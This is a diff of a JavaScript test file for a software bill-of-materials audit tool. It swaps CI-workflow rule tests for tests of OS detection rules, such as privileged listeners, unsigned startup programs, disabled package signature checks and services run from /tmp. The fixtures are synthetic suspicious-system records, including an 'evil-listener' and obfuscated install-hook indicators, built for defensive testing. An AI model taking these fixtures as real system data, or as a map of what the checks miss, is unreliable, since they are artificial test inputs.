+ makeComponent("nginx", "", [
4336
+ ["cdx:osquery:category", "privileged_listening_ports"],
4337
+ ["address", "0.0.0.0"],
4338
+ ["port", "443"],
4339
+ ["path", "/usr/sbin/nginx"],
4340
+ ["account", "root"],
4341
+ ["package_source_hint", "package-managed"],
2418
4342
  ]),
2419
4343
  ]);
2420
4344
 
2421
- const highOnly = await auditBom(bom, {
2422
- bomAuditMinSeverity: "high",
2423
- });
2424
- for (const f of highOnly) {
2425
- assert.strictEqual(f.severity, "high");
2426
- }
4345
+ const findings = await evaluateRule(rule, bom);
4346
+ assert.ok(findings.length > 0, "Should flag non-local privileged listener");
4347
+ assert.strictEqual(findings[0].severity, "medium");
4348
+ assert.match(findings[0].message, /\/usr\/sbin\/nginx/);
2427
4349
  });
2428
4350
 
2429
- it("does not flag CI-006 for a safe content-addressed PR cache workflow", async () => {
2430
- const bom = makeBomFromWorkflowFixture("cache-pull-request.yml");
4351
+ it("should keep writable-path privileged listeners as high-signal findings (OBOM-LNX-020)", async () => {
4352
+ const rules = await loadRules(RULES_DIR);
4353
+ const rule = rules.find((r) => r.id === "OBOM-LNX-020");
4354
+ assert.ok(rule, "OBOM-LNX-020 rule should exist");
2431
4355
 
2432
- const findings = await auditBom(bom, {
2433
- bomAuditCategories: "ci-permission",
2434
- });
4356
+ const bom = makeBom([
4357
+ makeComponent("evil-listener", "", [
4358
+ ["cdx:osquery:category", "privileged_listening_ports"],
4359
+ ["address", "0.0.0.0"],
4360
+ ["port", "8443"],
4361
+ ["path", "/home/demo/.local/bin/evil-listener"],
4362
+ ["account", "root"],
4363
+ ["package_source_hint", "user-writable-path"],
4364
+ ]),
4365
+ ]);
4366
+
4367
+ const findings = await evaluateRule(rule, bom);
2435
4368
  assert.ok(
2436
- !findings.some((finding) => finding.ruleId === "CI-006"),
2437
- "safe PR cache workflow should not trigger CI-006",
4369
+ findings.length > 0,
4370
+ "Should flag privileged listener from writable path",
2438
4371
  );
4372
+ assert.strictEqual(findings[0].severity, "high");
4373
+ assert.match(findings[0].message, /evil-listener/);
2439
4374
  });
2440
4375
 
2441
- it("flags CI-006 for a risky PR cache workflow", async () => {
2442
- const bom = makeBomFromWorkflowFixture("risk-cache-poisoning.yml");
4376
+ it("should detect risky Public profile firewall rules (OBOM-WIN-011)", async () => {
4377
+ const rules = await loadRules(RULES_DIR);
4378
+ const rule = rules.find((r) => r.id === "OBOM-WIN-011");
4379
+ assert.ok(rule, "OBOM-WIN-011 rule should exist");
2443
4380
 
2444
- const findings = await auditBom(bom, {
2445
- bomAuditCategories: "ci-permission",
2446
- });
2447
- assert.ok(
2448
- findings.some((finding) => finding.ruleId === "CI-006"),
2449
- "risky PR cache workflow should trigger CI-006",
2450
- );
4381
+ const bom = makeBom([
4382
+ makeComponent("RDP public allow", "", [
4383
+ ["cdx:osquery:category", "windows_firewall_rules"],
4384
+ ["enabled", "true"],
4385
+ ["direction", "in"],
4386
+ ["action", "allow"],
4387
+ ["profile", "Public"],
4388
+ ["local_ports", "3389"],
4389
+ ]),
4390
+ ]);
4391
+
4392
+ const findings = await evaluateRule(rule, bom);
4393
+ assert.ok(findings.length > 0, "Should detect Public inbound allow rule");
4394
+ assert.strictEqual(findings[0].severity, "high");
2451
4395
  });
2452
4396
 
2453
- it("does not flag high-risk-trigger rules for a safe push workflow", async () => {
2454
- const bom = makeBomFromWorkflowFixture("trigger-safe-push.yml");
4397
+ it("should detect invalid Authenticode on startup artifacts (OBOM-WIN-012)", async () => {
4398
+ const rules = await loadRules(RULES_DIR);
4399
+ const rule = rules.find((r) => r.id === "OBOM-WIN-012");
4400
+ assert.ok(rule, "OBOM-WIN-012 rule should exist");
2455
4401
 
2456
- const findings = await auditBom(bom, {
2457
- bomAuditCategories: "ci-permission",
2458
- });
2459
- assert.ok(
2460
- !findings.some((finding) =>
2461
- ["CI-004", "CI-008", "CI-013"].includes(finding.ruleId),
2462
- ),
2463
- "safe push workflow should not trigger high-risk-trigger rules",
2464
- );
4402
+ const bom = makeBom([
4403
+ makeComponent("Updater", "", [
4404
+ ["cdx:osquery:category", "windows_run_keys"],
4405
+ ["path", "C:\\Users\\Public\\updater.exe"],
4406
+ ["cdx:windows:authenticode:status", "NotSigned"],
4407
+ ["cdx:windows:authenticode:signerSubject", ""],
4408
+ ]),
4409
+ ]);
4410
+
4411
+ const findings = await evaluateRule(rule, bom);
4412
+ assert.ok(findings.length > 0, "Should detect invalid Authenticode status");
4413
+ assert.strictEqual(findings[0].severity, "critical");
2465
4414
  });
2466
4415
 
2467
- it("preserves workflow_call producer metadata without triggering unrelated CI findings", async () => {
2468
- const bom = makeBomFromWorkflowFixture("workflow-call-producer-safe.yml");
4416
+ it("should not treat unresolved Authenticode status as definitively invalid (OBOM-WIN-012)", async () => {
4417
+ const rules = await loadRules(RULES_DIR);
4418
+ const rule = rules.find((r) => r.id === "OBOM-WIN-012");
4419
+ assert.ok(rule, "OBOM-WIN-012 rule should exist");
2469
4420
 
2470
- const workflow = bom.formulation[0].workflows[0];
2471
- const workflowProps = workflow.properties || [];
2472
- assert.ok(
2473
- workflowProps.some(
2474
- (prop) =>
2475
- prop.name === "cdx:github:workflow:hasWorkflowCallTrigger" &&
2476
- prop.value === "true",
2477
- ),
2478
- );
2479
- assert.ok(
2480
- workflowProps.some(
2481
- (prop) =>
2482
- prop.name === "cdx:github:workflow:workflowCallInputs" &&
2483
- prop.value === "target",
2484
- ),
2485
- );
4421
+ const bom = makeBom([
4422
+ makeComponent("Updater", "", [
4423
+ ["cdx:osquery:category", "windows_run_keys"],
4424
+ ["path", "C:\\Users\\Public\\updater.exe"],
4425
+ ["cdx:windows:authenticode:status", "UnknownError"],
4426
+ ]),
4427
+ ]);
2486
4428
 
2487
- const findings = await auditBom(bom, {
2488
- bomAuditCategories: "ci-permission",
2489
- });
2490
- assert.ok(
2491
- !findings.some((finding) => finding.ruleId === "CI-011"),
2492
- "producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
2493
- );
2494
- assert.ok(
2495
- !findings.some((finding) =>
2496
- ["CI-016", "CI-017"].includes(finding.ruleId),
2497
- ),
2498
- "safe workflow_call producer should not trigger privileged producer rules",
2499
- );
4429
+ const findings = await evaluateRule(rule, bom);
4430
+ assert.strictEqual(findings.length, 0);
2500
4431
  });
2501
4432
 
2502
- it("flags risky workflow_call producers with privileged producer rules", async () => {
2503
- const bom = makeBomFromWorkflowFixture("workflow-call-producer-risky.yml");
4433
+ it("should detect missing WDAC policy enforcement (OBOM-WIN-013)", async () => {
4434
+ const rules = await loadRules(RULES_DIR);
4435
+ const rule = rules.find((r) => r.id === "OBOM-WIN-013");
4436
+ assert.ok(rule, "OBOM-WIN-013 rule should exist");
2504
4437
 
2505
- const findings = await auditBom(bom, {
2506
- bomAuditCategories: "ci-permission",
2507
- });
2508
- assert.ok(
2509
- findings.some((finding) => finding.ruleId === "CI-016"),
2510
- "risky workflow_call producer should trigger CI-016",
2511
- );
2512
- assert.ok(
2513
- findings.some((finding) => finding.ruleId === "CI-017"),
2514
- "risky workflow_call producer should trigger CI-017",
4438
+ const bom = makeBom([
4439
+ makeComponent("wdac-active-policies", "observed", [
4440
+ ["cdx:windows:wdac:activePolicyCount", "0"],
4441
+ ]),
4442
+ ]);
4443
+
4444
+ const findings = await evaluateRule(rule, bom);
4445
+ assert.ok(
4446
+ findings.length > 0,
4447
+ "Should detect missing WDAC policy enforcement",
2515
4448
  );
4449
+ assert.strictEqual(findings[0].severity, "high");
2516
4450
  });
2517
4451
 
2518
- it("flags workflow-dispatch chains in fork-reachable privileged workflows", async () => {
2519
- const bom = makeBomFromWorkflowFixture("dispatch-chain-fork-sensitive.yml");
4452
+ it("should detect failed macOS notarization assessments with registration and target paths (OBOM-MAC-007)", async () => {
4453
+ const rules = await loadRules(RULES_DIR);
4454
+ const rule = rules.find((r) => r.id === "OBOM-MAC-007");
4455
+ assert.ok(rule, "OBOM-MAC-007 rule should exist");
2520
4456
 
2521
- const findings = await auditBom(bom, {
2522
- bomAuditCategories: "ci-permission",
2523
- });
4457
+ const bom = makeBom([
4458
+ makeComponent("org.example.agent", "", [
4459
+ ["cdx:osquery:category", "launchd_services"],
4460
+ ["path", "/Library/LaunchDaemons/org.example.agent.plist"],
4461
+ ["program", "/Applications/Suspicious.app/Contents/MacOS/Suspicious"],
4462
+ ["cdx:darwin:codesign:teamIdentifier", "ABCDE12345"],
4463
+ ["cdx:darwin:notarization:assessment", "rejected"],
4464
+ ]),
4465
+ ]);
4466
+
4467
+ const findings = await evaluateRule(rule, bom);
2524
4468
  assert.ok(
2525
- findings.some((finding) => finding.ruleId === "CI-018"),
2526
- "fork-reachable dispatch chain should trigger CI-018",
4469
+ findings.length > 0,
4470
+ "Should detect failed notarization assessment",
2527
4471
  );
2528
- assert.ok(
2529
- findings.some((finding) => finding.ruleId === "CI-019"),
2530
- "explicit fork-aware dispatch chain should trigger CI-019",
4472
+ assert.strictEqual(findings[0].severity, "high");
4473
+ assert.match(
4474
+ findings[0].message,
4475
+ /\/Library\/LaunchDaemons\/org\.example\.agent\.plist/,
4476
+ );
4477
+ assert.match(
4478
+ findings[0].message,
4479
+ /\/Applications\/Suspicious\.app\/Contents\/MacOS\/Suspicious/,
4480
+ );
4481
+ assert.strictEqual(
4482
+ findings[0].evidence.registrationPath,
4483
+ "/Library/LaunchDaemons/org.example.agent.plist",
4484
+ );
4485
+ assert.strictEqual(
4486
+ findings[0].evidence.targetPath,
4487
+ "/Applications/Suspicious.app/Contents/MacOS/Suspicious",
2531
4488
  );
2532
4489
  });
2533
4490
 
2534
- it("prefers local receiver workflow names in CI-019 findings when correlation exists", async () => {
4491
+ it("should ignore unknown notarization assessments for Apple-managed system apps (OBOM-MAC-008)", async () => {
2535
4492
  const rules = await loadRules(RULES_DIR);
2536
- const rule = rules.find((candidate) => candidate.id === "CI-019");
2537
- assert.ok(rule, "CI-019 rule should exist");
4493
+ const rule = rules.find((r) => r.id === "OBOM-MAC-008");
4494
+ assert.ok(rule, "OBOM-MAC-008 rule should exist");
2538
4495
 
2539
4496
  const bom = makeBom([
2540
- makeComponent("dispatch-step", "1.0.0", [
2541
- ["cdx:github:step:dispatchesWorkflow", "true"],
2542
- ["cdx:github:step:referencesForkContext", "true"],
2543
- ["cdx:github:step:referencesSensitiveContext", "true"],
2544
- ["cdx:github:step:dispatchTargets", "workflow:release.yml"],
2545
- ["cdx:github:step:hasLocalDispatchReceiver", "true"],
2546
- ["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
4497
+ makeComponent("Finder.app", "", [
4498
+ ["cdx:osquery:category", "running_apps"],
4499
+ ["bundle_path", "/System/Library/CoreServices/Finder.app"],
2547
4500
  [
2548
- "cdx:github:step:dispatchReceiverWorkflowFiles",
2549
- ".github/workflows/release.yml",
4501
+ "bundle_executable",
4502
+ "/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder",
2550
4503
  ],
4504
+ ["cdx:darwin:notarization:assessment", "unknown"],
2551
4505
  ]),
2552
4506
  ]);
2553
4507
 
2554
4508
  const findings = await evaluateRule(rule, bom);
2555
- assert.ok(
2556
- findings.length > 0,
2557
- "CI-019 should match the correlated dispatch step",
4509
+ assert.strictEqual(
4510
+ findings.length,
4511
+ 0,
4512
+ "Should not alert on Apple-managed system apps with unknown assessment",
2558
4513
  );
2559
- assert.match(findings[0].message, /Release workflow/);
2560
- assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
2561
4514
  });
2562
4515
 
2563
- it("flags obfuscated npm lifecycle hooks", async () => {
4516
+ it("should ignore rejected notarization on generic installed macOS app inventory (OBOM-MAC-007)", async () => {
4517
+ const rules = await loadRules(RULES_DIR);
4518
+ const rule = rules.find((r) => r.id === "OBOM-MAC-007");
4519
+ assert.ok(rule, "OBOM-MAC-007 rule should exist");
4520
+
2564
4521
  const bom = makeBom([
2565
- makeComponent("suspicious-pkg", "1.0.0", [
2566
- ["cdx:npm:hasInstallScript", "true"],
2567
- ["cdx:npm:hasObfuscatedLifecycleScript", "true"],
2568
- ["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
4522
+ makeComponent("Installed.app", "", [
4523
+ ["cdx:osquery:category", "apps"],
4524
+ ["bundle_path", "/Applications/Installed.app"],
2569
4525
  [
2570
- "cdx:npm:lifecycleObfuscationIndicators",
2571
- "ast:buffer-base64,long-base64-literal",
4526
+ "bundle_executable",
4527
+ "/Applications/Installed.app/Contents/MacOS/Installed",
2572
4528
  ],
2573
- ["cdx:npm:lifecycleExecutionIndicators", "ast:child-process"],
4529
+ ["cdx:darwin:notarization:assessment", "rejected"],
2574
4530
  ]),
2575
4531
  ]);
2576
4532
 
2577
- const findings = await auditBom(bom, {
2578
- bomAuditCategories: "package-integrity",
2579
- });
2580
- assert.ok(
2581
- findings.some((finding) => finding.ruleId === "INT-009"),
2582
- "obfuscated lifecycle hooks should trigger INT-009",
4533
+ const findings = await evaluateRule(rule, bom);
4534
+ assert.strictEqual(
4535
+ findings.length,
4536
+ 0,
4537
+ "Should not alert on generic installed app inventory",
2583
4538
  );
2584
4539
  });
2585
4540
 
2586
- it("does not flag CI-015 for low-signal outbound workflow steps", async () => {
2587
- const bom = makeBomFromWorkflowFixture(
2588
- "outbound-sensitive-context-low-signal.yml",
2589
- );
4541
+ it("should ignore Apple-managed system launchd services for notarization review (OBOM-MAC-007)", async () => {
4542
+ const rules = await loadRules(RULES_DIR);
4543
+ const rule = rules.find((r) => r.id === "OBOM-MAC-007");
4544
+ assert.ok(rule, "OBOM-MAC-007 rule should exist");
2590
4545
 
2591
- const findings = await auditBom(bom, {
2592
- bomAuditCategories: "ci-permission",
2593
- });
2594
- assert.ok(
2595
- !findings.some((finding) => finding.ruleId === "CI-015"),
2596
- "low-signal outbound workflow should not trigger CI-015",
4546
+ const bom = makeBom([
4547
+ makeComponent("com.apple.test", "", [
4548
+ ["cdx:osquery:category", "launchd_services"],
4549
+ ["path", "/System/Library/LaunchDaemons/com.apple.test.plist"],
4550
+ ["program", "/usr/libexec/testd"],
4551
+ ["cdx:darwin:notarization:assessment", "rejected"],
4552
+ ]),
4553
+ ]);
4554
+
4555
+ const findings = await evaluateRule(rule, bom);
4556
+ assert.strictEqual(
4557
+ findings.length,
4558
+ 0,
4559
+ "Should not alert on Apple-managed system launchd services",
2597
4560
  );
2598
4561
  });
2599
4562
 
2600
- it("flags CI-021 for a high-risk workflow with implicit permissions and sensitive operations", async () => {
2601
- const bom = makeBomFromWorkflowFixture(
2602
- "heuristic-implicit-permissions-sensitive.yml",
2603
- );
4563
+ it("should keep unknown notarization findings for user-controlled macOS launch agents (OBOM-MAC-008)", async () => {
4564
+ const rules = await loadRules(RULES_DIR);
4565
+ const rule = rules.find((r) => r.id === "OBOM-MAC-008");
4566
+ assert.ok(rule, "OBOM-MAC-008 rule should exist");
2604
4567
 
2605
- const findings = await auditBom(bom, {
2606
- bomAuditCategories: "ci-permission",
2607
- });
2608
- assert.ok(
2609
- findings.some((finding) => finding.ruleId === "CI-021"),
2610
- "implicit-permissions high-risk workflow should trigger CI-021",
4568
+ const bom = makeBom([
4569
+ makeComponent("com.jetbrains.AppCode.BridgeService.plist", "", [
4570
+ ["cdx:osquery:category", "launchd_services"],
4571
+ [
4572
+ "path",
4573
+ "/Users/prabhu/Library/LaunchAgents/com.jetbrains.AppCode.BridgeService.plist",
4574
+ ],
4575
+ [
4576
+ "program",
4577
+ "/Users/prabhu/Applications/Rider.app/Contents/bin/Bridge.framework/Versions/A/Resources/BridgeService",
4578
+ ],
4579
+ ["cdx:darwin:notarization:assessment", "unknown"],
4580
+ ]),
4581
+ ]);
4582
+
4583
+ const findings = await evaluateRule(rule, bom);
4584
+ assert.strictEqual(findings.length, 1);
4585
+ assert.strictEqual(findings[0].severity, "medium");
4586
+ assert.match(findings[0].message, /Users\/prabhu\/Library\/LaunchAgents/);
4587
+ assert.match(
4588
+ findings[0].message,
4589
+ /Users\/prabhu\/Applications\/Rider\.app/,
2611
4590
  );
2612
4591
  });
2613
4592
 
2614
- it("does not flag CI-021 when the workflow declares an explicit permissions block", async () => {
2615
- const bom = makeBomFromWorkflowFixture(
2616
- "heuristic-explicit-permissions-sensitive.yml",
2617
- );
4593
+ it("should render actionable Windows Authenticode findings with registration and target paths (OBOM-WIN-014)", async () => {
4594
+ const rules = await loadRules(RULES_DIR);
4595
+ const rule = rules.find((r) => r.id === "OBOM-WIN-014");
4596
+ assert.ok(rule, "OBOM-WIN-014 rule should exist");
2618
4597
 
2619
- const findings = await auditBom(bom, {
2620
- bomAuditCategories: "ci-permission",
2621
- });
2622
- assert.ok(
2623
- !findings.some((finding) => finding.ruleId === "CI-021"),
2624
- "explicit permissions block should suppress heuristic CI-021",
2625
- );
2626
- });
2627
- });
4598
+ const bom = makeBom([
4599
+ makeComponent("\\Vendor\\Updater", "", [
4600
+ ["cdx:osquery:category", "scheduled_tasks"],
4601
+ ["path", "\\Vendor\\Updater"],
4602
+ ["action", "C:\\ProgramData\\Vendor\\updater.exe"],
4603
+ ["cdx:windows:authenticode:status", "UnknownError"],
4604
+ ["cdx:windows:authenticode:signerSubject", "CN=Unknown"],
4605
+ ]),
4606
+ ]);
2628
4607
 
2629
- describe("formatAnnotations", () => {
2630
- it("should create CycloneDX annotations from findings", () => {
2631
- const bom = makeBom([]);
2632
- const findings = [
2633
- {
2634
- ruleId: "CI-001",
2635
- name: "Unpinned action",
2636
- severity: "high",
2637
- category: "ci-permission",
2638
- message: "Unpinned GitHub Action detected",
2639
- mitigation: "Pin to SHA",
2640
- attackTactics: ["TA0001", "TA0004"],
2641
- attackTechniques: ["T1195.001"],
2642
- standards: {
2643
- "owasp-ai-top-10": ["LLM07: Insecure Plugin Design"],
2644
- "nist-ai-rmf": ["Manage"],
2645
- },
2646
- },
2647
- ];
2648
- const annotations = formatAnnotations(findings, bom);
2649
- assert.strictEqual(annotations.length, 1);
4608
+ const findings = await evaluateRule(rule, bom);
2650
4609
  assert.ok(
2651
- annotations[0].text.startsWith("Unpinned GitHub Action detected"),
4610
+ findings.length > 0,
4611
+ "Should detect unresolved Authenticode status on user-controlled path",
2652
4612
  );
2653
- assert.match(annotations[0].text, /\| Property \| Value \|/);
2654
- assert.match(annotations[0].text, /cdx:audit:attack:tactics/);
2655
- assert.match(annotations[0].text, /cdx:audit:attack:techniques/);
2656
- assert.match(annotations[0].text, /cdx:audit:standards:owasp-ai-top-10/);
2657
- assert.ok(
2658
- annotations[0].annotator.component,
2659
- "Annotation should have annotator component",
4613
+ assert.strictEqual(findings[0].severity, "high");
4614
+ assert.match(findings[0].message, /\\Vendor\\Updater/);
4615
+ assert.match(findings[0].message, /C:\\ProgramData\\Vendor\\updater\.exe/);
4616
+ assert.strictEqual(
4617
+ findings[0].evidence.registrationPath,
4618
+ "\\Vendor\\Updater",
4619
+ );
4620
+ assert.strictEqual(
4621
+ findings[0].evidence.targetPath,
4622
+ "C:\\ProgramData\\Vendor\\updater.exe",
2660
4623
  );
2661
- assert.ok(annotations[0].subjects.includes(bom.serialNumber));
2662
4624
  });
2663
4625
 
2664
- it("should return empty array when cdxgen tool component is missing", () => {
2665
- const bom = {
2666
- serialNumber: "urn:uuid:test",
2667
- metadata: { tools: { components: [] } },
2668
- components: [],
2669
- };
2670
- const findings = [
2671
- {
2672
- ruleId: "CI-001",
2673
- severity: "high",
2674
- category: "ci-permission",
2675
- message: "test",
2676
- },
2677
- ];
2678
- const annotations = formatAnnotations(findings, bom);
2679
- assert.deepStrictEqual(annotations, []);
2680
- });
4626
+ it("should ignore unresolved Authenticode on Windows startup shortcut files (OBOM-WIN-014)", async () => {
4627
+ const rules = await loadRules(RULES_DIR);
4628
+ const rule = rules.find((r) => r.id === "OBOM-WIN-014");
4629
+ assert.ok(rule, "OBOM-WIN-014 rule should exist");
2681
4630
 
2682
- it("should return empty array when metadata.tools is undefined", () => {
2683
- const bom = {
2684
- serialNumber: "urn:uuid:test",
2685
- metadata: {},
2686
- components: [],
2687
- };
2688
- const annotations = formatAnnotations(
2689
- [{ ruleId: "X", severity: "low", category: "test", message: "test" }],
2690
- bom,
2691
- );
2692
- assert.deepStrictEqual(annotations, []);
2693
- });
2694
- });
4631
+ const bom = makeBom([
4632
+ makeComponent("Service Fabric Local Cluster Manager.lnk", "", [
4633
+ ["cdx:osquery:category", "startup_items"],
4634
+ [
4635
+ "path",
4636
+ "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Service Fabric Local Cluster Manager.lnk",
4637
+ ],
4638
+ ["cdx:windows:authenticode:status", "UnknownError"],
4639
+ ]),
4640
+ ]);
2695
4641
 
2696
- describe("hasCriticalFindings", () => {
2697
- it("should return true when high severity findings exist", () => {
2698
- const findings = [{ severity: "high" }];
2699
- assert.ok(hasCriticalFindings(findings, {}));
4642
+ const findings = await evaluateRule(rule, bom);
4643
+ assert.strictEqual(findings.length, 0);
2700
4644
  });
2701
4645
 
2702
- it("should return false when only low severity findings exist", () => {
2703
- const findings = [{ severity: "low" }];
2704
- assert.ok(!hasCriticalFindings(findings, {}));
4646
+ it("should detect yum repositories with gpgcheck disabled (RFS-002)", async () => {
4647
+ const rules = await loadRules(RULES_DIR);
4648
+ const rule = rules.find((r) => r.id === "RFS-002");
4649
+ assert.ok(rule, "RFS-002 rule should exist");
4650
+
4651
+ const bom = makeBom([
4652
+ {
4653
+ type: "data",
4654
+ name: "internal.repo",
4655
+ version: "configured",
4656
+ purl: "pkg:generic/os-repository/internal.repo@configured",
4657
+ "bom-ref": "pkg:generic/os-repository/internal.repo@configured",
4658
+ properties: [
4659
+ { name: "SrcFile", value: "/etc/yum.repos.d/internal.repo" },
4660
+ { name: "cdx:os:repo:type", value: "yum-repository" },
4661
+ { name: "cdx:os:repo:enabled", value: "true" },
4662
+ {
4663
+ name: "cdx:os:repo:url",
4664
+ value: "https://repo.example.invalid/baseos",
4665
+ },
4666
+ { name: "cdx:os:repo:gpgcheck", value: "0" },
4667
+ ],
4668
+ },
4669
+ ]);
4670
+
4671
+ const findings = await evaluateRule(rule, bom);
4672
+ assert.ok(findings.length > 0, "Should detect disabled gpgcheck");
4673
+ assert.strictEqual(findings[0].severity, "critical");
2705
4674
  });
2706
4675
 
2707
- it("should use threshold semantics (at or above)", () => {
2708
- const findings = [{ severity: "high" }];
2709
- // medium threshold should catch high findings
2710
- assert.ok(
2711
- hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
2712
- );
2713
- // high threshold should catch high findings
2714
- assert.ok(hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
2715
- // critical threshold should NOT catch high findings
2716
- assert.ok(
2717
- !hasCriticalFindings(findings, { bomAuditFailSeverity: "critical" }),
4676
+ it("should detect services executing from temporary paths (RFS-005)", async () => {
4677
+ const rules = await loadRules(RULES_DIR);
4678
+ const rule = rules.find((r) => r.id === "RFS-005");
4679
+ assert.ok(rule, "RFS-005 rule should exist");
4680
+
4681
+ const bom = makeBom(
4682
+ [],
4683
+ [],
4684
+ [],
4685
+ [
4686
+ {
4687
+ name: "evil-service",
4688
+ version: "1.0.0",
4689
+ "bom-ref": "urn:service:systemd:test:evil-service",
4690
+ properties: [
4691
+ { name: "SrcFile", value: "/etc/systemd/system/evil.service" },
4692
+ { name: "cdx:service:manager", value: "systemd" },
4693
+ { name: "cdx:service:ExecStart", value: "/tmp/run-evil.sh" },
4694
+ {
4695
+ name: "cdx:service:packageRef",
4696
+ value: "pkg:deb/debian/evil@1.0.0",
4697
+ },
4698
+ ],
4699
+ },
4700
+ ],
2718
4701
  );
2719
- });
2720
4702
 
2721
- it("should respect custom fail severity for medium", () => {
2722
- const findings = [{ severity: "medium" }];
4703
+ const findings = await evaluateRule(rule, bom);
2723
4704
  assert.ok(
2724
- hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
4705
+ findings.length > 0,
4706
+ "Should detect writable-path service execution",
2725
4707
  );
2726
- assert.ok(!hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
2727
- });
2728
-
2729
- it("should return false for empty findings", () => {
2730
- assert.ok(!hasCriticalFindings([], {}));
2731
- assert.ok(!hasCriticalFindings(null, {}));
4708
+ assert.strictEqual(findings[0].severity, "critical");
2732
4709
  });
2733
4710
  });